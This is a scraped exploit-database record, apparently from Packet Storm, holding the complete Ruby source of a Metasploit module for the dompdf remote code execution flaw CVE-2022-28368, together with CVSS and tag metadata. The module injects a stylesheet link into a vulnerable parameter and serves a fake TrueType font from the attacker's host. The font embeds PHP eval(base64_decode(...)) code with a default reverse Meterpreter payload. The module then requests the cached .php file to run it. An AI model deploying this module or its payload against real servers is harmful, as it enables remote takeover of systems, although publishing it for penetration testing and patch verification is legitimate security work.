{“lastseen”:”2026-05-21T16:31:38″,”description”:”This Metasploit module exploits CVE-2022-28368, a remote code execution vulnerability in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf preserves the original file extension when caching fonts downloaded via CSS @font-face…”,”published”:”2026-05-21T00:00:00″,”modified”:”2026-05-21T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 dompdf Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:221743″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2022-28368″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpServer\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::FileDropper\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Dompdf RCE via Malicious Font Caching (CVE-2022-28368)’,\\n ‘Description’ =\\u003e %q{\\n This module exploits CVE-2022-28368, a Remote Code Execution vulnerability\\n in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf\\n preserves the original file extension when caching fonts downloaded via CSS\\n @font-face rules. By pointing a @font-face src to a .php file containing a\\n valid TrueType font header with embedded PHP code, the file is saved in the\\n dompdf font cache (lib\/fonts\/) with its .php extension intact. The cached\\n file can then be executed by directly requesting it from the web server.\\n \\n For dompdf versions \\u003c= 0.8.5, remote font loading works regardless of the\\n $isRemoteEnabled setting. For versions 0.8.6 through 1.2.0, the\\n $isRemoteEnabled option must be set to true.\\n \\n This module requires the ability to inject HTML\/CSS into the data processed\\n by dompdf (e.g., via an XSS, a user-controlled form field, or a direct\\n parameter) and that the dompdf font cache directory is web-accessible.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Maximilian Kirchmeier’, # Vulnerability discovery (Positive Security)\\n ‘Fabian Br\u00e4unlein’, # Vulnerability discovery (Positive Security)\\n ‘rvizx’, # PoC exploit\\n ‘msutovsky-r7’, # Metasploit module final\\n ‘Adithya Pawar’ # Metasploit module init\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2022-28368’],\\n [‘GHSA’, ’56gj-mvh6-rp75′],\\n [‘URL’, ‘https:\/\/positive.security\/blog\/dompdf-rce’],\\n [‘URL’, ‘https:\/\/github.com\/rvizx\/CVE-2022-28368’]\\n ],\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP’,\\n {\\n ‘Platform’ =\\u003e [‘php’],\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘Type’ =\\u003e :php,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘php\/meterpreter\/reverse_tcp’\\n }\\n }\\n ]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2022-04-05’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘DOMPDF_PATH’, [true, ‘Web-accessible path to the dompdf installation’, ‘\/dompdf’]),\\n OptString.new(‘INJECT_PARAMETER’, [true, ‘The parameter allowing to inject custom CSS’, ”]),\\n ]\\n )\\n end\\n \\n FONT_HEADER = \\”\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x0F\\\\x00\\\\x80\\\\x00\\\\x03\\\\x00\\\\x70\\\\x44\\\\x53\\\\x49\\\\x47\\” \\\\\\n \\”\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x75\\\\xE0\\\\x00\\\\x00\\\\x00\\\\x08\\\\x47\\\\x44\\\\x45\\\\x46\\” \\\\\\n \\”\\\\x00\\\\x10\\\\x00\\\\xC7\\\\x00\\\\x00\\\\x75\\\\xE8\\\\x00\\\\x00\\\\x00\\\\x16\\\\x47\\\\x50\\\\x4F\\\\x53\\” \\\\\\n \\”\\\\x6C\\\\x91\\\\x74\\\\x8F\\\\x00\\\\x00\\\\x76\\\\x00\\\\x00\\\\x00\\\\x00\\\\x20\\\\x47\\\\x53\\\\x55\\\\x42\\” \\\\\\n \\”\\\\xE0\\\\x34\\\\xE1\\\\xE2\\\\x00\\\\x00\\\\x76\\\\x20\\\\x00\\\\x00\\\\x00\\\\x46\\\\x4F\\\\x53\\\\x2F\\\\x32\\” \\\\\\n \\”\\\\x34\\\\xF4\\\\x4A\\\\xE2\\\\x00\\\\x00\\\\x01\\\\x78\\\\x00\\\\x00\\\\x00\\\\x60\\\\x63\\\\x6D\\\\x61\\\\x70\\” \\\\\\n \\”\\\\x65\\\\xE2\\\\xC8\\\\xD2\\\\x00\\\\x00\\\\x04\\\\xF4\\\\x00\\\\x00\\\\x02\\\\x26\\\\x67\\\\x61\\\\x73\\\\x70\\” \\\\\\n \\”\\\\xFF\\\\xFF\\\\x00\\\\x03\\\\x00\\\\x00\\\\x75\\\\xD8\\\\x00\\\\x00\\\\x00\\\\x08\\\\x67\\\\x6C\\\\x79\\\\x66\\” \\\\\\n \\”\\\\x1D\\\\x57\\\\xEE\\\\x42\\\\x00\\\\x00\\\\x08\\\\xAC\\\\x00\\\\x00\\\\x68\\\\x6C\\\\x68\\\\x65\\\\x61\\\\x64\\” \\\\\\n \\”\\\\x1C\\\\x59\\\\xE0\\\\x33\\\\x00\\\\x00\\\\x00\\\\xFC\\\\x00\\\\x00\\\\x00\\\\x36\\\\x68\\\\x68\\\\x65\\\\x61\\” \\\\\\n \\”\\\\x08\\\\x66\\\\x02\\\\xF8\\\\x00\\\\x00\\\\x01\\\\x34\\\\x00\\\\x00\\\\x00\\\\x24\\\\x68\\\\x6D\\\\x74\\\\x78\\” \\\\\\n \\”\\\\x2C\\\\xBF\\\\xFF\\\\xD3\\\\x00\\\\x00\\\\x01\\\\xD8\\\\x00\\\\x00\\\\x03\\\\x1C\\\\x6C\\\\x6F\\\\x63\\\\x61\\” \\\\\\n \\”\\\\x72\\\\xA0\\\\x8C\\\\x94\\\\x00\\\\x00\\\\x07\\\\x1C\\\\x00\\\\x00\\\\x01\\\\x90\\\\x6D\\\\x61\\\\x78\\\\x70\\” \\\\\\n \\”\\\\x00\\\\xD5\\\\x01\\\\x87\\\\x00\\\\x00\\\\x01\\\\x58\\\\x00\\\\x00\\\\x00\\\\x20\\\\x6E\\\\x61\\\\x6D\\\\x65\\” \\\\\\n \\”\\\\x3D\\\\x94\\\\x69\\\\x86\\\\x00\\\\x00\\\\x71\\\\x18\\\\x00\\\\x00\\\\x02\\\\xE4\\\\x70\\\\x6F\\\\x73\\\\x74\\” \\\\\\n \\”\\\\x4C\\\\x60\\\\x52\\\\x7C\\\\x00\\\\x00\\\\x73\\\\xFC\\\\x00\\\\x00\\\\x01\\\\xD9\\\\x00\\\\x01\\\\x00\\\\x00\\” \\\\\\n \\”\\\\x00\\\\x01\\\\x00\\\\x00\\\\x7C\\\\x16\\\\x35\\\\xE6\\\\x5F\\\\x0F\\\\x3C\\\\xF5\\\\x00\\\\x0B\\\\x03\\\\xE8\\” \\\\\\n \\”\\\\x00\\\\x00\\\\x00\\\\x00\\\\xD7\\\\x8F\\\\x89\\\\xE0\\\\x00\\\\x00\\\\x00\\\\x00\\\\xE1\\\\xCB\\\\x12\\\\x5C\\” \\\\\\n \\”\\\\xFF\\\\x74\\\\xFE\\\\x93\\\\x04\\\\x6D\\\\x04\\\\x81\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x01\\\\x00\\\\x00\\” \\\\\\n \\”\\\\x00\\\\x00\\”.b.freeze\\n \\n def check\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘DOMPDF_PATH’], ‘lib’, ‘fonts’, ‘dompdf_font_family_cache.php’)\\n )\\n \\n return Exploit::CheckCode::Safe(‘The target is not running DOMPDF’) unless res\\u0026.code == 200\\n \\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(datastore[‘DOMPDF_PATH’], ‘VERSION’)\\n )\\n \\n return Exploit::CheckCode::Safe(‘The target is not running DOMPDF’) unless res\\u0026.code == 200\\n \\n version = Rex::Version.new(res.body.strip)\\n \\n return Exploit::CheckCode::Appears(\\”The vulnerable version of DOMPDF #{version} detected\\”) if version \\u003c= Rex::Version.new(‘1.2.0′)\\n \\n Exploit::CheckCode::Safe(\\”The DOMPDF detected, but it’s running patched version\\”)\\n end\\n \\n def on_request_uri(cli, request)\\n css_payload = %\\u003c\\n @font-face {\\n font-family:’#{@font_family_name}’;\\n src:url(‘#{@malicious_font_uri}’);\\n font-weight:’normal’;\\n font-style:’normal’;\\n }\\n \\u003e\\n font_payload = FONT_HEADER + %\\u003c\\\\n\\u003c?php eval(base64_decode(\\”#{Rex::Text.encode_base64(payload.encoded)}\\”)) ?\\u003e\\u003e\\n case request.uri\\n when \\”\/#{@css_name}\\”\\n print_status(‘Serving exploit CSS file to dompdf…’)\\n send_response(cli, css_payload, {\\n ‘Content-Type’ =\\u003e ‘text\/css’\\n })\\n when \\”\/#{@font_name}\\”\\n print_status(‘Serving font TTF file to dompdf…’)\\n send_response(cli, font_payload, {\\n ‘Content-Type’ =\\u003e ‘application\/octet-stream’\\n })\\n else\\n print_error(\\”Unexpected request: #{request.uri}\\”)\\n send_not_found(cli)\\n end\\n end\\n \\n def send_payload\\n param_name = datastore[‘INJECT_PARAMETER’]\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘URIPATH’]),\\n ‘method’ =\\u003e ‘GET’,\\n ‘vars_get’ =\\u003e\\n {\\n ‘pdf’ =\\u003e nil,\\n param_name =\\u003e %(\\u003clink rel=stylesheet href=’#{@malicious_css_uri}’\\u003e)\\n }\\n })\\n return true if res\\u0026.code == 200\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘URIPATH’]),\\n ‘method’ =\\u003e ‘POST’,\\n ‘vars_post’ =\\u003e {\\n param_name =\\u003e %(\\u003clink rel=stylesheet href=’#{@malicious_css_uri}’\\u003e)\\n }\\n })\\n \\n return true if res\\u0026.code == 200\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘URIPATH’]),\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e ‘application\/json’,\\n ‘data’ =\\u003e {\\n param_name =\\u003e %(\\u003clink rel=stylesheet href=’#{@malicious_css_uri}’\\u003e)\\n }.to_json\\n })\\n \\n return true if res\\u0026.code == 200\\n \\n false\\n end\\n \\n def trigger_payload\\n send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘DOMPDF_PATH’], ‘lib’, ‘fonts’, \\”#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php\\”),\\n ‘method’ =\\u003e ‘GET’\\n })\\n end\\n \\n def load_malicious_font\\n @font_name = \\”#{Rex::Text.rand_text_alpha(8)}.php\\”\\n @css_name = \\”#{Rex::Text.rand_text_alpha(8)}.css\\”\\n @font_family_name = Rex::Text.rand_text_alpha(8)\\n binding_ip = srvhost_addr\\n \\n proto = datastore[‘SSL’] ? ‘https’ : ‘http’\\n @malicious_css_uri = \\”#{proto}:\/\/#{binding_ip}:#{datastore[‘SRVPORT’]}\/#{@css_name}\\”\\n @malicious_font_uri = \\”#{proto}:\/\/#{binding_ip}:#{datastore[‘SRVPORT’]}\/#{@font_name}\\”\\n \\n fail_with(Failure::PayloadFailed, ‘Failed to load malicious font’) unless send_payload\\n end\\n \\n def exploit\\n start_service({\\n ‘Uri’ =\\u003e {\\n ‘Proc’ =\\u003e proc do |cli, req|\\n on_request_uri(cli, req)\\n end,\\n ‘Path’ =\\u003e ‘\/’\\n }\\n })\\n load_malicious_font\\n \\n register_file_for_cleanup(\\”#{@font_family_name.downcase}_normal_#{Rex::Text.md5(@malicious_font_uri)}.php\\”)\\n \\n trigger_payload\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/221743″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/221743\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-21T16:31:38″,”description”:”This Metasploit module exploits CVE-2022-28368, a remote code execution vulnerability in dompdf versions prior to 1.2.1. The vulnerability exists because dompdf preserves the original file…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-56114","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n